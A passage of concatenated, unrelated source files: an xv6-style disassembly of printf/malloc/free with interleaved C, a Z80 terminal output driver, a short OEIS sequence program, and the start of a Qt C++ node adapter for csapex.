SYSCALL(set_prio)
34a: b8 1b 00 00 00 mov $0x1b,%eax
34f: cd 40 int $0x40
351: c3 ret
00000352 <get_prio>:
SYSCALL(get_prio)
352: b8 1c 00 00 00 mov $0x1c,%eax
357: cd 40 int $0x40
359: c3 ret
35a: 66 90 xchg %ax,%ax
35c: 66 90 xchg %ax,%ax
35e: 66 90 xchg %ax,%ax
00000360 <printint>:
write(fd, &c, 1);
}
static void
printint(int fd, int xx, int base, int sgn)
{
360: 55 push %ebp
361: 89 e5 mov %esp,%ebp
363: 57 push %edi
364: 56 push %esi
365: 53 push %ebx
366: 83 ec 3c sub $0x3c,%esp
char buf[16];
int i, neg;
uint x;
neg = 0;
if(sgn && xx < 0){
369: 85 d2 test %edx,%edx
{
36b: 89 45 c0 mov %eax,-0x40(%ebp)
neg = 1;
x = -xx;
36e: 89 d0 mov %edx,%eax
if(sgn && xx < 0){
370: 79 76 jns 3e8 <printint+0x88>
372: f6 45 08 01 testb $0x1,0x8(%ebp)
376: 74 70 je 3e8 <printint+0x88>
x = -xx;
378: f7 d8 neg %eax
neg = 1;
37a: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp)
} else {
x = xx;
}
i = 0;
381: 31 f6 xor %esi,%esi
383: 8d 5d d7 lea -0x29(%ebp),%ebx
386: eb 0a jmp 392 <printint+0x32>
388: 90 nop
389: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
do{
buf[i++] = digits[x % base];
390: 89 fe mov %edi,%esi
392: 31 d2 xor %edx,%edx
394: 8d 7e 01 lea 0x1(%esi),%edi
397: f7 f1 div %ecx
399: 0f b6 92 88 07 00 00 movzbl 0x788(%edx),%edx
}while((x /= base) != 0);
3a0: 85 c0 test %eax,%eax
buf[i++] = digits[x % base];
3a2: 88 14 3b mov %dl,(%ebx,%edi,1)
}while((x /= base) != 0);
3a5: 75 e9 jne 390 <printint+0x30>
if(neg)
3a7: 8b 45 c4 mov -0x3c(%ebp),%eax
3aa: 85 c0 test %eax,%eax
3ac: 74 08 je 3b6 <printint+0x56>
buf[i++] = '-';
3ae: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1)
3b3: 8d 7e 02 lea 0x2(%esi),%edi
3b6: 8d 74 3d d7 lea -0x29(%ebp,%edi,1),%esi
3ba: 8b 7d c0 mov -0x40(%ebp),%edi
3bd: 8d 76 00 lea 0x0(%esi),%esi
3c0: 0f b6 06 movzbl (%esi),%eax
write(fd, &c, 1);
3c3: 83 ec 04 sub $0x4,%esp
3c6: 83 ee 01 sub $0x1,%esi
3c9: 6a 01 push $0x1
3cb: 53 push %ebx
3cc: 57 push %edi
3cd: 88 45 d7 mov %al,-0x29(%ebp)
3d0: e8 cd fe ff ff call 2a2 <write>
while(--i >= 0)
3d5: 83 c4 10 add $0x10,%esp
3d8: 39 de cmp %ebx,%esi
3da: 75 e4 jne 3c0 <printint+0x60>
putc(fd, buf[i]);
}
3dc: 8d 65 f4 lea -0xc(%ebp),%esp
3df: 5b pop %ebx
3e0: 5e pop %esi
3e1: 5f pop %edi
3e2: 5d pop %ebp
3e3: c3 ret
3e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
neg = 0;
3e8: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp)
3ef: eb 90 jmp 381 <printint+0x21>
3f1: eb 0d jmp 400 <printf>
3f3: 90 nop
3f4: 90 nop
3f5: 90 nop
3f6: 90 nop
3f7: 90 nop
3f8: 90 nop
3f9: 90 nop
3fa: 90 nop
3fb: 90 nop
3fc: 90 nop
3fd: 90 nop
3fe: 90 nop
3ff: 90 nop
00000400 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, const char *fmt, ...)
{
400: 55 push %ebp
401: 89 e5 mov %esp,%ebp
403: 57 push %edi
404: 56 push %esi
405: 53 push %ebx
406: 83 ec 2c sub $0x2c,%esp
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
409: 8b 75 0c mov 0xc(%ebp),%esi
40c: 0f b6 1e movzbl (%esi),%ebx
40f: 84 db test %bl,%bl
411: 0f 84 b3 00 00 00 je 4ca <printf+0xca>
ap = (uint*)(void*)&fmt + 1;
417: 8d 45 10 lea 0x10(%ebp),%eax
41a: 83 c6 01 add $0x1,%esi
state = 0;
41d: 31 ff xor %edi,%edi
ap = (uint*)(void*)&fmt + 1;
41f: 89 45 d4 mov %eax,-0x2c(%ebp)
422: eb 2f jmp 453 <printf+0x53>
424: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c = fmt[i] & 0xff;
if(state == 0){
if(c == '%'){
428: 83 f8 25 cmp $0x25,%eax
42b: 0f 84 a7 00 00 00 je 4d8 <printf+0xd8>
write(fd, &c, 1);
431: 8d 45 e2 lea -0x1e(%ebp),%eax
434: 83 ec 04 sub $0x4,%esp
437: 88 5d e2 mov %bl,-0x1e(%ebp)
43a: 6a 01 push $0x1
43c: 50 push %eax
43d: ff 75 08 pushl 0x8(%ebp)
440: e8 5d fe ff ff call 2a2 <write>
445: 83 c4 10 add $0x10,%esp
448: 83 c6 01 add $0x1,%esi
for(i = 0; fmt[i]; i++){
44b: 0f b6 5e ff movzbl -0x1(%esi),%ebx
44f: 84 db test %bl,%bl
451: 74 77 je 4ca <printf+0xca>
if(state == 0){
453: 85 ff test %edi,%edi
c = fmt[i] & 0xff;
455: 0f be cb movsbl %bl,%ecx
458: 0f b6 c3 movzbl %bl,%eax
if(state == 0){
45b: 74 cb je 428 <printf+0x28>
state = '%';
} else {
putc(fd, c);
}
} else if(state == '%'){
45d: 83 ff 25 cmp $0x25,%edi
460: 75 e6 jne 448 <printf+0x48>
if(c == 'd'){
462: 83 f8 64 cmp $0x64,%eax
465: 0f 84 05 01 00 00 je 570 <printf+0x170>
printint(fd, *ap, 10, 1);
ap++;
} else if(c == 'x' || c == 'p'){
46b: 81 e1 f7 00 00 00 and $0xf7,%ecx
471: 83 f9 70 cmp $0x70,%ecx
474: 74 72 je 4e8 <printf+0xe8>
printint(fd, *ap, 16, 0);
ap++;
} else if(c == 's'){
476: 83 f8 73 cmp $0x73,%eax
479: 0f 84 99 00 00 00 je 518 <printf+0x118>
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
}
} else if(c == 'c'){
47f: 83 f8 63 cmp $0x63,%eax
482: 0f 84 08 01 00 00 je 590 <printf+0x190>
putc(fd, *ap);
ap++;
} else if(c == '%'){
488: 83 f8 25 cmp $0x25,%eax
48b: 0f 84 ef 00 00 00 je 580 <printf+0x180>
write(fd, &c, 1);
491: 8d 45 e7 lea -0x19(%ebp),%eax
494: 83 ec 04 sub $0x4,%esp
497: c6 45 e7 25 movb $0x25,-0x19(%ebp)
49b: 6a 01 push $0x1
49d: 50 push %eax
49e: ff 75 08 pushl 0x8(%ebp)
4a1: e8 fc fd ff ff call 2a2 <write>
4a6: 83 c4 0c add $0xc,%esp
4a9: 8d 45 e6 lea -0x1a(%ebp),%eax
4ac: 88 5d e6 mov %bl,-0x1a(%ebp)
4af: 6a 01 push $0x1
4b1: 50 push %eax
4b2: ff 75 08 pushl 0x8(%ebp)
4b5: 83 c6 01 add $0x1,%esi
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
4b8: 31 ff xor %edi,%edi
write(fd, &c, 1);
4ba: e8 e3 fd ff ff call 2a2 <write>
for(i = 0; fmt[i]; i++){
4bf: 0f b6 5e ff movzbl -0x1(%esi),%ebx
write(fd, &c, 1);
4c3: 83 c4 10 add $0x10,%esp
for(i = 0; fmt[i]; i++){
4c6: 84 db test %bl,%bl
4c8: 75 89 jne 453 <printf+0x53>
}
}
}
4ca: 8d 65 f4 lea -0xc(%ebp),%esp
4cd: 5b pop %ebx
4ce: 5e pop %esi
4cf: 5f pop %edi
4d0: 5d pop %ebp
4d1: c3 ret
4d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
state = '%';
4d8: bf 25 00 00 00 mov $0x25,%edi
4dd: e9 66 ff ff ff jmp 448 <printf+0x48>
4e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
printint(fd, *ap, 16, 0);
4e8: 83 ec 0c sub $0xc,%esp
4eb: b9 10 00 00 00 mov $0x10,%ecx
4f0: 6a 00 push $0x0
4f2: 8b 7d d4 mov -0x2c(%ebp),%edi
4f5: 8b 45 08 mov 0x8(%ebp),%eax
4f8: 8b 17 mov (%edi),%edx
4fa: e8 61 fe ff ff call 360 <printint>
ap++;
4ff: 89 f8 mov %edi,%eax
501: 83 c4 10 add $0x10,%esp
state = 0;
504: 31 ff xor %edi,%edi
ap++;
506: 83 c0 04 add $0x4,%eax
509: 89 45 d4 mov %eax,-0x2c(%ebp)
50c: e9 37 ff ff ff jmp 448 <printf+0x48>
511: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = (char*)*ap;
518: 8b 45 d4 mov -0x2c(%ebp),%eax
51b: 8b 08 mov (%eax),%ecx
ap++;
51d: 83 c0 04 add $0x4,%eax
520: 89 45 d4 mov %eax,-0x2c(%ebp)
if(s == 0)
523: 85 c9 test %ecx,%ecx
525: 0f 84 8e 00 00 00 je 5b9 <printf+0x1b9>
while(*s != 0){
52b: 0f b6 01 movzbl (%ecx),%eax
state = 0;
52e: 31 ff xor %edi,%edi
s = (char*)*ap;
530: 89 cb mov %ecx,%ebx
while(*s != 0){
532: 84 c0 test %al,%al
534: 0f 84 0e ff ff ff je 448 <printf+0x48>
53a: 89 75 d0 mov %esi,-0x30(%ebp)
53d: 89 de mov %ebx,%esi
53f: 8b 5d 08 mov 0x8(%ebp),%ebx
542: 8d 7d e3 lea -0x1d(%ebp),%edi
545: 8d 76 00 lea 0x0(%esi),%esi
write(fd, &c, 1);
548: 83 ec 04 sub $0x4,%esp
s++;
54b: 83 c6 01 add $0x1,%esi
54e: 88 45 e3 mov %al,-0x1d(%ebp)
write(fd, &c, 1);
551: 6a 01 push $0x1
553: 57 push %edi
554: 53 push %ebx
555: e8 48 fd ff ff call 2a2 <write>
while(*s != 0){
55a: 0f b6 06 movzbl (%esi),%eax
55d: 83 c4 10 add $0x10,%esp
560: 84 c0 test %al,%al
562: 75 e4 jne 548 <printf+0x148>
564: 8b 75 d0 mov -0x30(%ebp),%esi
state = 0;
567: 31 ff xor %edi,%edi
569: e9 da fe ff ff jmp 448 <printf+0x48>
56e: 66 90 xchg %ax,%ax
printint(fd, *ap, 10, 1);
570: 83 ec 0c sub $0xc,%esp
573: b9 0a 00 00 00 mov $0xa,%ecx
578: 6a 01 push $0x1
57a: e9 73 ff ff ff jmp 4f2 <printf+0xf2>
57f: 90 nop
write(fd, &c, 1);
580: 83 ec 04 sub $0x4,%esp
583: 88 5d e5 mov %bl,-0x1b(%ebp)
586: 8d 45 e5 lea -0x1b(%ebp),%eax
589: 6a 01 push $0x1
58b: e9 21 ff ff ff jmp 4b1 <printf+0xb1>
putc(fd, *ap);
590: 8b 7d d4 mov -0x2c(%ebp),%edi
write(fd, &c, 1);
593: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
596: 8b 07 mov (%edi),%eax
write(fd, &c, 1);
598: 6a 01 push $0x1
ap++;
59a: 83 c7 04 add $0x4,%edi
putc(fd, *ap);
59d: 88 45 e4 mov %al,-0x1c(%ebp)
write(fd, &c, 1);
5a0: 8d 45 e4 lea -0x1c(%ebp),%eax
5a3: 50 push %eax
5a4: ff 75 08 pushl 0x8(%ebp)
5a7: e8 f6 fc ff ff call 2a2 <write>
ap++;
5ac: 89 7d d4 mov %edi,-0x2c(%ebp)
5af: 83 c4 10 add $0x10,%esp
state = 0;
5b2: 31 ff xor %edi,%edi
5b4: e9 8f fe ff ff jmp 448 <printf+0x48>
s = "(null)";
5b9: bb 80 07 00 00 mov $0x780,%ebx
while(*s != 0){
5be: b8 28 00 00 00 mov $0x28,%eax
5c3: e9 72 ff ff ff jmp 53a <printf+0x13a>
5c8: 66 90 xchg %ax,%ax
5ca: 66 90 xchg %ax,%ax
5cc: 66 90 xchg %ax,%ax
5ce: 66 90 xchg %ax,%ax
000005d0 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5d0: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5d1: a1 2c 0a 00 00 mov 0xa2c,%eax
{
5d6: 89 e5 mov %esp,%ebp
5d8: 57 push %edi
5d9: 56 push %esi
5da: 53 push %ebx
5db: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = (Header*)ap - 1;
5de: 8d 4b f8 lea -0x8(%ebx),%ecx
5e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5e8: 39 c8 cmp %ecx,%eax
5ea: 8b 10 mov (%eax),%edx
5ec: 73 32 jae 620 <free+0x50>
5ee: 39 d1 cmp %edx,%ecx
5f0: 72 04 jb 5f6 <free+0x26>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5f2: 39 d0 cmp %edx,%eax
5f4: 72 32 jb 628 <free+0x58>
break;
if(bp + bp->s.size == p->s.ptr){
5f6: 8b 73 fc mov -0x4(%ebx),%esi
5f9: 8d 3c f1 lea (%ecx,%esi,8),%edi
5fc: 39 fa cmp %edi,%edx
5fe: 74 30 je 630 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
600: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
603: 8b 50 04 mov 0x4(%eax),%edx
606: 8d 34 d0 lea (%eax,%edx,8),%esi
609: 39 f1 cmp %esi,%ecx
60b: 74 3a je 647 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
60d: 89 08 mov %ecx,(%eax)
freep = p;
60f: a3 2c 0a 00 00 mov %eax,0xa2c
}
614: 5b pop %ebx
615: 5e pop %esi
616: 5f pop %edi
617: 5d pop %ebp
618: c3 ret
619: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
620: 39 d0 cmp %edx,%eax
622: 72 04 jb 628 <free+0x58>
624: 39 d1 cmp %edx,%ecx
626: 72 ce jb 5f6 <free+0x26>
{
628: 89 d0 mov %edx,%eax
62a: eb bc jmp 5e8 <free+0x18>
62c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
bp->s.size += p->s.ptr->s.size;
630: 03 72 04 add 0x4(%edx),%esi
633: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
636: 8b 10 mov (%eax),%edx
638: 8b 12 mov (%edx),%edx
63a: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
63d: 8b 50 04 mov 0x4(%eax),%edx
640: 8d 34 d0 lea (%eax,%edx,8),%esi
643: 39 f1 cmp %esi,%ecx
645: 75 c6 jne 60d <free+0x3d>
p->s.size += bp->s.size;
647: 03 53 fc add -0x4(%ebx),%edx
freep = p;
64a: a3 2c 0a 00 00 mov %eax,0xa2c
p->s.size += bp->s.size;
64f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
652: 8b 53 f8 mov -0x8(%ebx),%edx
655: 89 10 mov %edx,(%eax)
}
657: 5b pop %ebx
658: 5e pop %esi
659: 5f pop %edi
65a: 5d pop %ebp
65b: c3 ret
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000660 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
660: 55 push %ebp
661: 89 e5 mov %esp,%ebp
663: 57 push %edi
664: 56 push %esi
665: 53 push %ebx
666: 83 ec 0c sub $0xc,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
669: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
66c: 8b 15 2c 0a 00 00 mov 0xa2c,%edx
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
672: 8d 78 07 lea 0x7(%eax),%edi
675: c1 ef 03 shr $0x3,%edi
678: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
67b: 85 d2 test %edx,%edx
67d: 0f 84 9d 00 00 00 je 720 <malloc+0xc0>
683: 8b 02 mov (%edx),%eax
685: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
688: 39 cf cmp %ecx,%edi
68a: 76 6c jbe 6f8 <malloc+0x98>
68c: 81 ff 00 10 00 00 cmp $0x1000,%edi
692: bb 00 10 00 00 mov $0x1000,%ebx
697: 0f 43 df cmovae %edi,%ebx
p = sbrk(nu * sizeof(Header));
69a: 8d 34 dd 00 00 00 00 lea 0x0(,%ebx,8),%esi
6a1: eb 0e jmp 6b1 <malloc+0x51>
6a3: 90 nop
6a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
6a8: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
6aa: 8b 48 04 mov 0x4(%eax),%ecx
6ad: 39 f9 cmp %edi,%ecx
6af: 73 47 jae 6f8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
6b1: 39 05 2c 0a 00 00 cmp %eax,0xa2c
6b7: 89 c2 mov %eax,%edx
6b9: 75 ed jne 6a8 <malloc+0x48>
p = sbrk(nu * sizeof(Header));
6bb: 83 ec 0c sub $0xc,%esp
6be: 56 push %esi
6bf: e8 46 fc ff ff call 30a <sbrk>
if(p == (char*)-1)
6c4: 83 c4 10 add $0x10,%esp
6c7: 83 f8 ff cmp $0xffffffff,%eax
6ca: 74 1c je 6e8 <malloc+0x88>
hp->s.size = nu;
6cc: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
6cf: 83 ec 0c sub $0xc,%esp
6d2: 83 c0 08 add $0x8,%eax
6d5: 50 push %eax
6d6: e8 f5 fe ff ff call 5d0 <free>
return freep;
6db: 8b 15 2c 0a 00 00 mov 0xa2c,%edx
if((p = morecore(nunits)) == 0)
6e1: 83 c4 10 add $0x10,%esp
6e4: 85 d2 test %edx,%edx
6e6: 75 c0 jne 6a8 <malloc+0x48>
return 0;
}
}
6e8: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
6eb: 31 c0 xor %eax,%eax
}
6ed: 5b pop %ebx
6ee: 5e pop %esi
6ef: 5f pop %edi
6f0: 5d pop %ebp
6f1: c3 ret
6f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
6f8: 39 cf cmp %ecx,%edi
6fa: 74 54 je 750 <malloc+0xf0>
p->s.size -= nunits;
6fc: 29 f9 sub %edi,%ecx
6fe: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
701: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
704: 89 78 04 mov %edi,0x4(%eax)
freep = prevp;
707: 89 15 2c 0a 00 00 mov %edx,0xa2c
}
70d: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
710: 83 c0 08 add $0x8,%eax
}
713: 5b pop %ebx
714: 5e pop %esi
715: 5f pop %edi
716: 5d pop %ebp
717: c3 ret
718: 90 nop
719: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
720: c7 05 2c 0a 00 00 30 movl $0xa30,0xa2c
727: 0a 00 00
72a: c7 05 30 0a 00 00 30 movl $0xa30,0xa30
731: 0a 00 00
base.s.size = 0;
734: b8 30 0a 00 00 mov $0xa30,%eax
739: c7 05 34 0a 00 00 00 movl $0x0,0xa34
740: 00 00 00
743: e9 44 ff ff ff jmp 68c <malloc+0x2c>
748: 90 nop
749: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
prevp->s.ptr = p->s.ptr;
750: 8b 08 mov (%eax),%ecx
752: 89 0a mov %ecx,(%edx)
754: eb b1 jmp 707 <malloc+0xa7>
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; ZX_01_OUTPUT_CHAR_32
; romless driver for standard 32x24 output
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; Windowed output terminal for fixed width fonts.
;
; ;;;;;;;;;;;;;;;;;;;;
; DRIVER CLASS DIAGRAM
; ;;;;;;;;;;;;;;;;;;;;
;
; CONSOLE_01_OUTPUT_TERMINAL (root, abstract)
; CONSOLE_01_OUTPUT_TERMINAL_CHAR (abstract)
; ZX_01_OUTPUT_CHAR_32 (concrete)
;
; Can be instantiated to implement a CONSOLE_01_OUTPUT_TERMINAL.
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES CONSUMED FROM STDIO
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * STDIO_MSG_PUTC
; Generates multiple OTERM_MSG_PUTC messages.
;
; * STDIO_MSG_WRIT
; Generates multiple OTERM_MSG_PUTC messages.
;
; * STDIO_MSG_SEEK -> no error, do nothing
; * STDIO_MSG_FLSH -> no error, do nothing
; * STDIO_MSG_ICTL
; * STDIO_MSG_CLOS -> no error, do nothing
;
; Any other messages are reported as errors via
; error_enotsup_zc
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES CONSUMED FROM CONSOLE_01_OUTPUT_TERMINAL
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * OTERM_MSG_PUTC
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES CONSUMED FROM CONSOLE_01_INPUT_TERMINAL
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * ITERM_MSG_PUTC
; * ITERM_MSG_PRINT_CURSOR - cursor changed to L or C
; * ITERM_MSG_BS
; * ITERM_MSG_BS_PWD
; * ITERM_MSG_ERASE_CURSOR
; * ITERM_MSG_ERASE_CURSOR_PWD
; * ITERM_MSG_READLINE_BEGIN
; * ITERM_MSG_READLINE_END
; * ITERM_MSG_BELL
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES CONSUMED FROM CONSOLE_01_OUTPUT_TERMINAL_CHAR
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * OTERM_MSG_PRINTC
; * OTERM_MSG_BELL
; * OTERM_MSG_SCROLL
; * OTERM_MSG_CLS
; * OTERM_MSG_PAUSE
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; MESSAGES GENERATED FOR DERIVED DRIVERS
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * OTERM_MSG_TTY (optional)
;
; enter : c = char to output
; exit : c = char to output (possibly modified)
; carry reset if tty emulation absorbs char
; can use: af, bc, de, hl
;
; The driver should call the tty emulation module.
; If not implemented characters are output without processing.
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; IOCTLs UNDERSTOOD BY THIS DRIVER
; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; * IOCTL_OTERM_CRLF
; enable / disable crlf processing
;
; * IOCTL_OTERM_BELL
; enable / disable terminal bell
;
; * IOCTL_OTERM_SIGNAL
; enable / disable signal bell
;
; * IOCTL_OTERM_COOK
; enable / disable cook mode (tty emulation)
;
; * IOCTL_OTERM_PAUSE
; enable / disable pause when window filled
;
; * IOCTL_OTERM_PAGE
; select scroll or page mode
;
; * IOCTL_OTERM_CLEAR
; enable / disable clear window when in page mode
;
; * IOCTL_OTERM_CLS
; clear window, set (x,y) = (0,0)
;
; * IOCTL_OTERM_RESET_SCROLL
; reset scroll count
;
; * IOCTL_OTERM_GET_WINDOW_COORD
; get coord of top left corner of window
;
; * IOCTL_OTERM_SET_WINDOW_COORD
; set coord of top left corner of window
;
; * IOCTL_OTERM_GET_WINDOW_RECT
; get window size
;
; * IOCTL_OTERM_SET_WINDOW_RECT
; set window size
;
; * IOCTL_OTERM_GET_CURSOR_COORD
;
; * IOCTL_OTERM_SET_CURSOR_COORD
;
; * IOCTL_OTERM_GET_OTERM
;
; * IOCTL_OTERM_SCROLL
;
; * IOCTL_OTERM_FONT
;
; * IOCTL_OTERM_BCOLOR
;
; * IOCTL_OTERM_FCOLOR
;
; * IOCTL_OTERM_FMASK
;
; ;;;;;;;;;;;;;;;;;;;;;;;;;;
; BYTES RESERVED IN FDSTRUCT
; ;;;;;;;;;;;;;;;;;;;;;;;;;;
;
; offset (wrt FDSTRUCT.JP) description
;
; 8..13 mutex
; 14 x coordinate
; 15 y coordinate
; 16 window.x
; 17 window.width
; 18 window.y
; 19 window.height
; 20 scroll_limit
; 21..22 font address
; 23 text colour
; 24 text colour mask (set bits = keep bgnd)
; 25 background colour (cls colour)
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC zx_01_output_char_32
EXTERN ITERM_MSG_BELL, ITERM_MSG_PRINT_CURSOR, STDIO_MSG_ICTL
EXTERN OTERM_MSG_PRINTC, OTERM_MSG_SCROLL, OTERM_MSG_CLS
EXTERN OTERM_MSG_PAUSE, OTERM_MSG_BELL
EXTERN console_01_output_terminal_char
EXTERN zx_01_output_char_32_oterm_msg_printc, zx_01_output_char_32_iterm_msg_print_cursor
EXTERN zx_01_output_char_32_iterm_msg_bell, zx_01_output_char_32_stdio_msg_ictl
EXTERN zx_01_output_char_32_oterm_msg_scroll, zx_01_output_char_32_oterm_msg_cls
EXTERN zx_01_output_char_32_oterm_msg_pause, zx_01_output_char_32_oterm_msg_bell
zx_01_output_char_32:
cp OTERM_MSG_PRINTC
jp z, zx_01_output_char_32_oterm_msg_printc
cp ITERM_MSG_PRINT_CURSOR
jp z, zx_01_output_char_32_iterm_msg_print_cursor
cp ITERM_MSG_BELL
jp z, zx_01_output_char_32_iterm_msg_bell
cp STDIO_MSG_ICTL
jp z, zx_01_output_char_32_stdio_msg_ictl
cp OTERM_MSG_SCROLL
jp z, zx_01_output_char_32_oterm_msg_scroll
jp c, console_01_output_terminal_char ; forward to library
cp OTERM_MSG_CLS
jp z, zx_01_output_char_32_oterm_msg_cls
cp OTERM_MSG_PAUSE
jp z, zx_01_output_char_32_oterm_msg_pause
cp OTERM_MSG_BELL
jp z, zx_01_output_char_32_oterm_msg_bell
jp console_01_output_terminal_char ; forward to library
|
; A017586: (12n+5)^6.
; 15625,24137569,594823321,4750104241,22164361129,75418890625,208422380089,496981290961,1061520150601,2081951752609,3814697265625,6611856250609,10942526586601,17416274304961
mul $0,12
add $0,5
pow $0,6
|
/// HEADER
#include "create_map_message_adapter.h"
/// PROJECT
#include <csapex/model/node_facade_impl.h>
#include <csapex_core_plugins/parameter_dialog.h>
/// PROJECT
#include <csapex/command/add_connection.h>
#include <csapex/command/command_factory.h>
#include <csapex/command/meta.h>
#include <csapex/model/graph_facade.h>
#include <csapex/model/node_handle.h>
#include <csapex/msg/input.h>
#include <csapex/msg/output.h>
#include <csapex/param/parameter_factory.h>
#include <csapex/param/range_parameter.h>
#include <csapex/utility/uuid_provider.h>
#include <csapex/view/designer/graph_view.h>
#include <csapex/view/node/box.h>
#include <csapex/view/utility/register_node_adapter.h>
/// SYSTEM
#include <QComboBox>
#include <QDialog>
#include <QDialogButtonBox>
#include <QFormLayout>
#include <QProgressBar>
#include <QPushButton>
#include <iostream>
using namespace csapex;
CSAPEX_REGISTER_LOCAL_NODE_ADAPTER(CreateMapMessageAdapter, csapex::CreateMapMessage)
CreateMapMessageAdapter::CreateMapMessageAdapter(NodeFacadeImplementationPtr worker, NodeBox* parent, std::weak_ptr<CreateMapMessage> node) : DefaultNodeAdapter(worker, parent), wrapped_base_(node)
{
QObject::connect(&widget_picker_, SIGNAL(widgetPicked()), this, SLOT(widgetPicked()));
auto n = wrapped_base_.lock();
}
CreateMapMessageAdapter::~CreateMapMessageAdapter()
{
}
void CreateMapMessageAdapter::setupUi(QBoxLayout* layout)
{
DefaultNodeAdapter::setupUi(layout);
QPushButton* btn_add_param = new QPushButton("Create Parameter");
layout->addWidget(btn_add_param);
QObject::connect(btn_add_param, SIGNAL(clicked()), this, SLOT(createParameter()));
QPushButton* btn_pick_param = new QPushButton("Pick Parameter");
layout->addWidget(btn_pick_param);
QObject::connect(btn_pick_param, SIGNAL(clicked()), this, SLOT(pickParameter()));
QPushButton* btn_remove_param = new QPushButton("Remove Parameters");
layout->addWidget(btn_remove_param);
QObject::connect(btn_remove_param, SIGNAL(clicked()), this, SLOT(removeParameters()));
}
void CreateMapMessageAdapter::parameterAdded(param::ParameterPtr param)
{
}
void CreateMapMessageAdapter::widgetPicked()
{
auto node = wrapped_base_.lock();
if (!node) {
return;
}
QWidget* widget = widget_picker_.getWidget();
if (widget) {
if (widget != nullptr) {
std::cerr << "picked widget " << widget->metaObject()->className() << std::endl;
}
QVariant var = widget->property("parameter");
if (!var.isNull()) {
csapex::param::Parameter* connected_parameter = static_cast<csapex::param::Parameter*>(var.value<void*>());
